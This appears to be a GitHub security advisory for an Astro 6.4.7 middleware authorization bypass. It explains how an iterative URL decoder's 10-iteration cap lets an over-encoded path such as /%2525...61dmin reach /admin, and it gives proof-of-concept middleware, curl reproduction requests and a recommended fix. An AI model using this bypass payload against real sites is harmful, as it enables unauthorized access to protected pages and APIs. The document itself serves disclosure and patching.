VDB
KO
HIGH 8.2

GHSA-vj59-8hwv-xxmv

Astro: Authorization Bypass via Decode Iteration Limit and Rewrite Path Canonicalization Mismatch

Quick fix

GHSA-vj59-8hwv-xxmv — astro: upgrade to the fixed version with the command below.

npm install astro@6.4.8

Details

# Astro 6.4.7 Authorization Bypass via Decode Iteration Limit and Rewrite Path Canonicalization Mismatch

## Summary

Astro 6.4.7 appears to reintroduce a middleware authorization bypass pattern when a request path is encoded more deeply than the newly introduced iterative URL decoder's maximum decoding depth.

The issue occurs because Astro performs authorization decisions on a partially decoded pathname after reaching a decoding iteration cap, while later route matching logic performs an additional `decodeURI()` operation and resolves the request to a protected route.

As a result, middleware and route matching may operate on different pathname representations, enabling authorization bypasses under specific application patterns.

**Potential CWE:** CWE-647 – Use of Non-Canonical URL Paths for Authorization Decisions

---

## Vulnerable Pattern

Middleware authorization sees:

```text /%61dmin ```

Later rewrite route matching sees:

```text /admin ```

This discrepancy allows a request that bypasses middleware checks to subsequently resolve to a protected route.

---

## Root Cause

### Iterative Decoding Logic

PR #16967 introduced iterative URI decoding:

```js let iterations = 0;

while (decoded !== pathname && iterations < 10) { pathname = decoded;

try { decoded = decodeURI(pathname); } catch { // decodeURI can fail when a decoded literal '%' forms an // invalid sequence with adjacent characters. break; }

iterations++; }

return decoded; ```

The intent was to ensure middleware receives a fully decoded canonical pathname.

However, once the iteration cap is reached, Astro returns the partially decoded value instead of rejecting the request.

---

### Rewrite Route Matching

Later, Astro performs another decode during route matching:

```js const decodedPathname = decodeURI(pathname); ```

Consequently:

```text Middleware pathname: /%61dmin Route matcher: /admin ```

This creates a canonicalization mismatch between authorization logic and routing logic.

---

## Proof of Concept

### Middleware

```js import { defineMiddleware } from 'astro:middleware';

export const onRequest = defineMiddleware(async (context, next) => { const pathname = context.url.pathname;

if (pathname === '/admin' || pathname.startsWith('/admin/')) { return new Response( '403 Forbidden: middleware blocked canonical /admin', { status: 403, headers: { 'content-type': 'text/plain;charset=UTF-8', 'x-middleware-pathname': pathname, }, } ); }

if (pathname !== '/') { const response = await next(context.url);

response.headers.set('x-middleware-pathname', pathname); response.headers.set( 'x-vuln-pattern', 'next(context.url) rewrite after pathname check' );

return response; }

return next(); }); ```

The critical pattern is:

```js return next(context.url); ```

The middleware makes an authorization decision using a non-canonical path and then forwards the URL into Astro's rewrite machinery.

---

## Reproduction

### Protected Route

```bash curl -i http://127.0.0.1:8989/admin ```

Response:

```http HTTP/1.1 403 Forbidden x-middleware-pathname: /admin

403 Forbidden: middleware blocked canonical /admin ```

---

### Bypass Request

```bash curl -i http://127.0.0.1:8989/%252525252525252525252561dmin ```

Response:

```http HTTP/1.1 200 OK x-middleware-pathname: /%61dmin x-vuln-pattern: next(context.url) rewrite after pathname check

Admin page reached Protected content rendered after rewrite route matching. request url: http://127.0.0.1:8989/%61dmin ```

This demonstrates:

```text Middleware saw: /%61dmin Router reached: /admin ```

---

## Encoding Depth Analysis

The bypass occurs at encoding depth 11.

### Decoder Trace

```text depth 0: /%61dmin -> /admin depth 1: /%2561dmin -> /admin depth 2: /%252561dmin -> /admin depth 3: /%25252561dmin -> /admin depth 4: /%2525252561dmin -> /admin depth 5: /%252525252561dmin -> /admin depth 6: /%25252525252561dmin -> /admin depth 7: /%2525252525252561dmin -> /admin depth 8: /%252525252525252561dmin -> /admin depth 9: /%25252525252525252561dmin -> /admin depth 10: /%2525252525252525252561dmin -> /admin depth 11: /%252525252525252525252561dmin -> /%61dmin ```

Depths 0–10 are fully decoded and blocked by middleware.

Depth 11 is the first depth where Astro returns a partially decoded pathname due to the iteration limit.

A later `decodeURI()` converts:

```text /%61dmin ```

into:

```text /admin ```

allowing route matching to reach the protected endpoint.

---

## Exploit Preconditions

Exploitation requires:

### 1. Path-Based Authorization

Middleware performs authorization using:

```js context.url.pathname ```

For example:

```js if (context.url.pathname === '/admin') { block(); } ```

### 2. Rewrite-Based Routing

The request is subsequently passed into Astro routing via:

```js next(context.url) ```

or equivalent rewrite behavior that performs route matching after middleware execution.

---

## Impact

An unauthenticated attacker may bypass middleware protections guarding routes such as:

```text /admin /api/admin /internal /dashboard ```

if the application:

1. Relies on pathname-based authorization checks. 2. Uses rewrite behavior that performs route matching after middleware execution.

Affected applications may expose protected pages or APIs despite middleware restrictions.

---

## Security Analysis

The issue belongs to the same vulnerability class as the previously disclosed Astro middleware encoding bypass.

Previous advisories demonstrated bypasses using:

```text /%2561dmin ```

to reach:

```text /admin ```

The 6.4.7 fix attempted to ensure middleware receives a canonical pathname by repeatedly decoding URL-encoded paths.

However, because decoding is capped at 10 iterations and partially decoded paths are returned, an attacker can simply increase encoding depth beyond the cap and recreate the authorization-routing mismatch.

The existence of a decoding limit is not itself problematic.

The vulnerability arises because Astro:

1. Stops decoding. 2. Returns a partially canonicalized pathname. 3. Performs additional decoding later during route matching.

Authorization and routing therefore operate on different pathname representations.

---

## Recommended Fix

Do not return partially decoded pathnames when the iteration limit is exceeded.

Instead, reject the request whenever decoding has not stabilized before reaching the cap.

### Example Fix

```js let iterations = 0;

while (decoded !== pathname) { if (iterations >= 10) { throw new Error('URL encoding depth exceeded'); }

pathname = decoded;

try { decoded = decodeURI(pathname); } catch { break; }

iterations++; }

return decoded; ```

### Additional Hardening

Astro should centralize pathname canonicalization and ensure routing logic never performs an additional independent `decodeURI()` on values that have already been normalized.

Authorization and route matching must operate on the exact same canonical pathname representation.

---

## Conclusion

Astro 6.4.7 appears vulnerable to an authorization bypass caused by a pathname canonicalization mismatch introduced by the iterative decoding limit.

When URL encoding depth exceeds the decoder's maximum iteration count, middleware receives a partially decoded pathname while later route matching performs additional decoding and resolves the request to a protected route.

This can allow unauthorized access to routes protected by pathname-based middleware authorization and should be addressed by rejecting over-encoded paths or ensuring a single canonical pathname representation is used throughout request processing.

Are you affected?

Enter the version of the package you're using.

Affected packages

npm / astro
Introduced in: 6.4.7 Fixed in: 6.4.8
Fix npm install astro@6.4.8

References